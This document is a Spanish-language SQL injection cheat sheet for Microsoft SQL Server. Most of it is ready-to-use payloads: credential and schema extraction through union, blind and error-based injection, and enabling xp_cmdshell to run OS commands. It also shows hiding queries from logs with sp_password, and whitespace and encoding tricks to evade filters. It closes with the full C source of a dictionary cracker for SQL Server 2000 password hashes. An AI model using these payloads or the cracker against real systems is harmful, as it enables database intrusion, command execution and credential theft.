Inyección SQL

SQL Server

rortegag

Base de datos por defecto

pubs	No disponible en SQL Server 2005
model	Disponible en todas las versiones
msdb	Disponible en todas las versiones
tempdb	Disponible en todas las versiones
northwind	Disponible en todas las versiones
information_schema	Disponible a partir de SQL Server 2000 y superior

Comentarios en las consultas

Se puede utilizar lo siguiente para comentar el resto de la consulta después de su inyección:

```
/* -> Comentario estilo C
-- -> Comentario SQL
;%00 -> Nullbyte
```

Ejemplo:

```
SELECT * FROM usuarios WHERE usuario = '' OR 1=1 --' AND contrasenna = ''
GO
SELECT * FROM usuarios WHERE id = '' UNION SELECT 1, 2, 3/*'
GO
```

Credenciales de la base de datos

BD.Tabla	master..syslogins, master..sysprocesses
Campos	name, loginame
Usuarios actual	user, system_user, suser_sname(), is_srvrolemember('sysadmin')
Credenciales BD SELECT	user, password FROM master.dbo.sysxlogins

Ejemplo:

Devuelve el usuario actual:

```
SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID
GO
```

Comprueba si el usuario es administrador:

```
SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1'
ELSE '0' END)
GO
```

Evitando el uso de comillas

```
SELECT * FROM usuarios WHERE usuario = CHAR(97) + CHAR(100) + CHAR(109) +
CHAR(105) + CHAR(110)
```

Declaraciones condicionales

IF CASE

Ejemplos:

```
IF 1=1 SELECT 'true' ELSE SELECT 'false'
GO
SELECT CASE WHEN 1=1 THEN true ELSE false END
GO
```

Observación:

IF no puede utilizarse dentro de una sentencia SELECT.

Temporización

```
WAITFOR DELAY 'time_to_pass'
GO
```

```
WAITFOR TIME 'time_to_execute'
GO
```

Ejemplo:

```
IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0'
GO
```

Probando la versión

```
@@VERSION
```

Ejemplo:

Verdadero si la versión de SQL Server es 2008.

```
SELECT * FROM Users
WHERE id = '1' AND @@VERSION
LIKE '%2008%'
GO
```

Observación:

La salida también contendrá la versión del sistema operativo Windows.

Nombres de bases de datos

BD.Tabla	master..sysdatabases
Campo	name
BD actual	DB_NAME(i)

Ejemplos:

```
SELECT DB_NAME(5)
GO
SELECT name
FROM master..sysdatabases
GO
```

Nombre del servidor

```
@@SERVERNAME
SERVERPROPERTY()
```

Ejemplos:

```
SELECT SERVERPROPERTY(
'productversion'),
SERVERPROPERTY('productlevel'),
SERVERPROPERTY('edition')
GO
```

Observación:

SERVERPROPERTY() está disponible a partir de SQL Server 2005 y superior.

Concatenación de cadenas de texto

(SQL SERVER 2012)

```
SELECT CONCAT('a','a','a')
GO
SELECT 'a'+'d'+'mi'+'n'
GO
```

Ataques de OPENROWSET

```
SELECT * FROM OPENROWSET(
'SQLOLEDB', '127.0.0.1';'sa';
'p4ssw0rd', 'SET FMTONLY OFF
execute master..xp_cmdshell "dir"')
GO
```

INYECCIÓN SQL

Tablas y columnas

Determinar el número de columnas

ORDER BY n+1

Ejemplo:

Dada la consulta:

SELECT usuario, contrasenna, permisos FROM usuarios WHERE id = '1'

1' ORDER BY 1--	Verdadero
1' ORDER BY 2--	Verdadero
1' ORDER BY 3--	Verdadero
1' ORDER BY 4--	Falso, La consulta sólo utiliza 3 columnas
-1' UNION SELECT 1,2,3--	Verdadero

Observación:

Seguir incrementando el número hasta que se obtenga una respuesta falsa.

Lo siguiente se puede utilizar para obtener las columnas de la consulta actual.

GROUP BY / HAVING

Ejemplo:

Dada la consulta:

SELECT usuario, contrasenna, permisos FROM usuarios WHERE id = '1'

1' HAVING 1=1--	Campo 'usuarios.usuario' no es válida en la lista de selección porque no está contenida en una función agregada ni en la cláusula GROUP BY.
1' GROUP BY usuario HAVING 1=1--	Campo 'usuarios.contrasenna' no es válida en la lista de selección porque no está contenida en una función agregada ni en la cláusula GROUP BY.
1' GROUP BY usuario, contrasenna HAVING 1=1--	Campo 'usuarios.permisos' no es válida en la lista de selección porque no está contenida en una función agregada ni en la cláusula GROUP BY.
1' GROUP BY usuario, contrasenna, permisos HAVING 1=1--	Sin error

Observación:

No se devolverá ningún error una vez que se hayan incluido todas las columnas.

Recuperación de las tablas

Podemos recuperar las tablas desde dos bases de datos diferentes, information_schema.tables o desde master..sysobjects.

Union

UNION SELECT name FROM master..sysobjects WHERE xtype='U'

Blind

AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'

Error

AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables)

AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables))

Observación:

Xtype = 'U' es para tablas definidas por el usuario. Puede utilizar 'V' para las vistas.

Recuperación de las columnas

Podemos recuperar las columnas de dos bases de datos diferentes, information_schema.columns o masters..syscolumns.

Union

UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = 'tablename')

Blind

AND SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns > 'A'

Error

AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns)

AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns WHERE column_name NOT IN(SELECT TOP 1 column_name FROM information_schema.columns))

Inyección SQL

Tablas y columnas

Recuperación de varias tablas/columnas a la vez

Las siguientes 3 consultas crearán una tabla/columna temporal e insertarán en ella todas las tablas definidas por el usuario. A continuación, volcará el contenido de la tabla y terminará borrando la tabla.

Crear tabla/columna temporal e insertar datos:

```
AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @xy=@xy+' '+name FROM sysobjects WHERE xtype='U' AND name>@xy SELECT @xy AS xy INTO TMP_DB END
```

Contenido del vertedero:

```
AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB)
```

Borrar tabla:

```
Y 1=0; DROP TABLE TMP_DB
```

Existe un método más sencillo a partir de SQL Server 2005 y superiores. La función XML path() funciona como un concatenador, permitiendo la recuperación de todas las tablas con 1 consulta.

```
SELECT table_name %2b ', ' FROM information_schema.tables FOR XML PATH('')
```

SQL Server 2005+

Observación:

Puedes codificar tu consulta en hexadecimal para "ofuscar" tu ataque.

```
' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--
```

Ejecución de comandos del sistema

Incluye un procedimiento almacenado extendido llamado xp_cmdshell que puede ser utilizado para ejecutar comandos del sistema operativo.

```
EXEC master.dbo.xp_cmdshell 'cmd'
```

A partir de la versión SQL Server 2005 y superiores, xp_cmdshell está desactivado por defecto, pero se puede activar con las siguientes consultas:

```
EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure
EXEC sp_configure 'xp_cmdshell', 1
EXEC sp_configure reconfigure
```

También puede crear su propio procedimiento para conseguir los mismos resultados:

```
DECLARE @execmd INT
EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT
EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'
```

Si la versión de SQL Server es superior a la 2000, tendrá que realizar consultas adicionales para ejecutar el comando anterior:

```
EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure
EXEC sp_configure 'OLE Automation Procedures', 1
EXEC sp_configure reconfigure
```

Ejemplo:

Comprueba si xp_cmdshell está cargado, si lo está, comprueba si está activo y entonces procede a ejecutar el comando 'dir' e inserta los resultados en TMP_DB:

```
' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY (id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell 'dir' SELECT @a='' SELECT @a=Replace(@a%2B'<br></font><font color="black">'%2Bdir,'<dir>','</font><font color="orange">') FROM %23Data WHERE dir>@a DROP TABLE %23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE %23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO TMP_DB--
```

Contenido del vertedero:

```
' UNION SELECT tbl FROM TMP_DB--
```

Borrar tabla:

```
' DROP TABLE TMP_DB--
```

Inyección SQL

SQL Server

rortegag

SP_PASSWORD (Ocultar la consulta)

Si se añade sp_password al final de la consulta, se ocultará de los registros T-SQL como medida de seguridad.

SP_PASSWORD

Ejemplo:

' AND 1=1--sp_password

Salida:

-- Se encontró 'sp_password' en el texto de este evento.
-- El texto ha sido sustituido por este comentario por razones de seguridad.

Consultas apiladas

SQL Server admite las consultas apiladas.

Ejemplo:

' AND 1=0 INSERT INTO ([column1], [column2]) VALUES ('value1', 'value2');

Hashing de contraseñas

Las contraseñas comienzan con 0x0100, los primeros bytes que siguen al 0x son una constante; los siguientes ocho bytes son la sal del hash y los 80 bytes restantes son dos hashes, los primeros 40 bytes son un hash de la contraseña que distingue entre mayúsculas y minúsculas, mientras que los segundos 40 bytes son la versión en mayúsculas.

0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76BF4EB124550ACABDFD1457

Fuzzing y ofuscación

Carácteres intermedios permitidos

Los siguientes caracteres pueden utilizarse como espacios en blanco.

01	Inicio del encabezado
02	Inicio del texto
03	Fin del texto
04	Fin de la transmisión
05	Consulta
06	Acuse de recibo
07	Timbre
08	Retroceso
09	Tabulación horizontal
0A	Nueva línea
0B	Tabulación vertical
0C	Nueva página
0D	Retorno de carro
0E	Desplazamiento hacia fuera
0F	Cambio de entrada
10	Escape de enlace de datos
11	Control de dispositivo 1
12	Control de dispositivo 2
13	Control de dispositivo 3
14	Control de dispositivo 4
15	Reconocimiento negativo
16	Sincronización en reposo
17	Fin del bloque de transmisión
18	Cancelación
19	Fin del medio
1A	Sustitución
1B	Escape
1C	Separador de archivos
1D	Separador de grupo
1E	Separador de registros
1F	Separador de unidades
20	Espacio
25	%

Ejemplos:

S%E%L%E%C%T%01column%02 FROM%03table

A%%ND 1=%%%%%%%%1

Observación:

Los signos de porcentaje entre las palabras clave sólo son posibles en las aplicaciones web ASP(x).

También se pueden utilizar los siguientes caracteres para evitar el uso de espacios.

22	"
28	(
29	)
5B	[
5D	]

Ejemplos:

UNION(SELECT(column)FROM(table))

SELECT"table_name" FROM[information_schema].[tables]

Caracteres intermedios permitidos después de AND/OR

01 - 20	Rango
21	!
2B	+
2D	-
2E	.
5C	\
7E	~

Ejemplo:

SELECT 1FROM[table]WHERE\1=\1AND\1=\1;

Observación:

La barra invertida no parece funcionar con SQL Server 2000.

Codificación

Codificación de URL

SELECT %74able_%6eame FROM information_schema.tables

Doble codificación de la URL

SELECT %2574able_%256eame FROM information_schema.tables

Codificación Unicode

SELECT %u0074able_%u6eame FROM information_schema.tables

Codificación hexadecimal inválida (ASP)

SELECT %tab%le_%na%me FROM information_schema.tables

Codificación hexadecimal

' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);--

Descifrado de contraseñas

Descifrador de contraseñas de SQL Server 2000

Esta herramienta está diseñada para descifrar las contraseñas de Microsoft SQL Server 2000.

```
//        SQLCrackCl
//
//        Esto realizará un ataque de diccionario contra el hash en mayúsculas para una contraseña. Una vez descubierto esto, pruebe todas las
//        variantes de mayúsculas y minúsculas para la contraseña en mayúsculas y minúsculas.
//
//        Este código fue escrito por David Litchfield para demostrar como las contraseñas de Microsoft SQL Server 2000 las contraseñas pueden ser
//        atacadas. Esto puede ser optimizado considerablemente al no utilizar la CryptoAPI.
//
//        (Compilar con VC++ y enlazar con advapi32.lib ¡Asegúrese de que el SDK de la plataforma también ha sido instalado!)

#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
FILE *fd=NULL;
char *lerr = "\nLength Error!\n";
int wd=0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);
int main(int argc, char *argv[])
{
        int err = 0;
        if(argc !=3)
                {
                        printf("\n\n*** SQLCrack *** \n\n");
                        printf("C:\\>%s hash passwd-file\n\n",argv[0]);
                        printf("David Litchfield (david@ngssoftware.com)\n");
                        printf("24th June 2002\n");
                        return 0;
                }
        err = OpenPasswordFile(argv[2]);
        if(err !=0)
         {
          return printf("\nThere was an error opening the password file %s\n",argv[2]);
         }
        err = CrackPassword(argv[1]);
        fclose(fd);
        printf("\n\n%d",wd);
        return 0;
}
int OpenPasswordFile(char *pwdfile)
{
        fd = fopen(pwdfile,"r");
        if(fd)
                return 0;
        else
                return 1;
}
int CrackPassword(char *hash)
{
        char phash[100]="";
        char pheader[8]="";
        char pkey[12]="";
        char pnorm[44]="";
        char pucase[44]="";
        char pucfirst[8]="";
        char wttf[44]="";
        char uwttf[100]="";
        char *wp=NULL;
        char *ptr=NULL;
        int cnt = 0;
        int count = 0;
        unsigned int key=0;
        unsigned int t=0;
        unsigned int address = 0;
        unsigned char cmp=0;
        unsigned char x=0;
        HCRYPTPROV hProv=0;
        HCRYPTHASH hHash;
DWORD hl=100;
unsigned char szhash[100]="";
int len=0;
if(strlen(hash) !=94)
        {
                return printf("\nThe password hash is too short!\n");
        }
if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X'))
        {
                hash = hash + 2;
                strncpy(pheader,hash,4);
                printf("\nHeader\t\t: %s",pheader);
                if(strlen(pheader)!=4)
                        return printf("%s",lerr);
                hash = hash + 4;
                strncpy(pkey,hash,8);
                printf("\nRand key\t: %s",pkey);
                if(strlen(pkey)!=8)
                        return printf("%s",lerr);
                hash = hash + 8;
                strncpy(pnorm,hash,40);
                printf("\nNormal\t\t: %s",pnorm);
                if(strlen(pnorm)!=40)
                        return printf("%s",lerr);
                hash = hash + 40;
                strncpy(pucase,hash,40);
                printf("\nUpper Case\t: %s",pucase);
                if(strlen(pucase)!=40)
                        return printf("%s",lerr);
                strncpy(pucfirst,pucase,2);
                sscanf(pucfirst,"%x",&cmp);
        }
else
        {
                return printf("The password hash has an invalid format!\n");
        }
printf("\n\n     Trying...\n");
if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL             ,0))
 {
        if(GetLastError()==NTE_BAD_KEYSET)
                {
                        // KeySet does not exist. So create a new keyset
                        if(!CryptAcquireContext(&hProv,
                                        NULL,
                                        NULL,
                                        PROV_RSA_FULL,
                                        CRYPT_NEWKEYSET ))
                         {
                                printf("FAILLLLLLL!!!");
                                return FALSE;
                         }
                }
 }
while(1)
        {
         // get a word to try from the file
         ZeroMemory(wttf,44);
         if(!fgets(wttf,40,fd))
           return printf("\nEnd of password file. Didn't find the password.\n");
         wd++;
         len = strlen(wttf);
         wttf[len-1]=0x00;
         ZeroMemory(uwttf,84);
         // Convert the word to UNICODE
         while(count < len)
                {
                        uwttf[cnt]=wttf[count];
                        cnt++;
                        uwttf[cnt]=0x00;
                        count++;
                        cnt++;
                }
         len --;
         wp = &uwttf;
         sscanf(pkey,"%x",&key);
         cnt = cnt - 2;
         // Append the random stuff to the end of
         // the uppercase unicode password
         t = key >> 24;
         x = (unsigned char) t;
         uwttf[cnt]=x;
         cnt++;
         t = key << 8;
         t = t >> 24;
        x = (unsigned char) t;
        uwttf[cnt]=x;
        cnt++;
        t = key << 16;
        t = t >> 24;
        x = (unsigned char) t;
        uwttf[cnt]=x;
        cnt++;
        t = key << 24;
        t = t >> 24;
        x = (unsigned char) t;
        uwttf[cnt]=x;
        cnt++;
// Create the hash
if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
        {
                printf("Error %x during CryptCreatHash!\n", GetLastError());
                return 0;
        }
if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
        {
                printf("Error %x during CryptHashData!\n", GetLastError());
                return FALSE;
        }
CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
// Test the first byte only. Much quicker.
if(szhash[0] == cmp)
        {
                // If first byte matches try the rest
                ptr = pucase;
                cnt = 1;
                while(cnt < 20)
                {
                        ptr = ptr + 2;
                        strncpy(pucfirst,ptr,2);
                        sscanf(pucfirst,"%x",&cmp);
                        if(szhash[cnt]==cmp)
                                cnt ++;
                        else
                        {
                                break;
                        }
                }
                if(cnt == 20)
                {
                   // We've found the password
                   printf("\nA MATCH!!! Password is %s\n",wttf);
                   return 0;
                 }
          }
          count = 0;
          cnt=0;
         }
  return 0;
}
```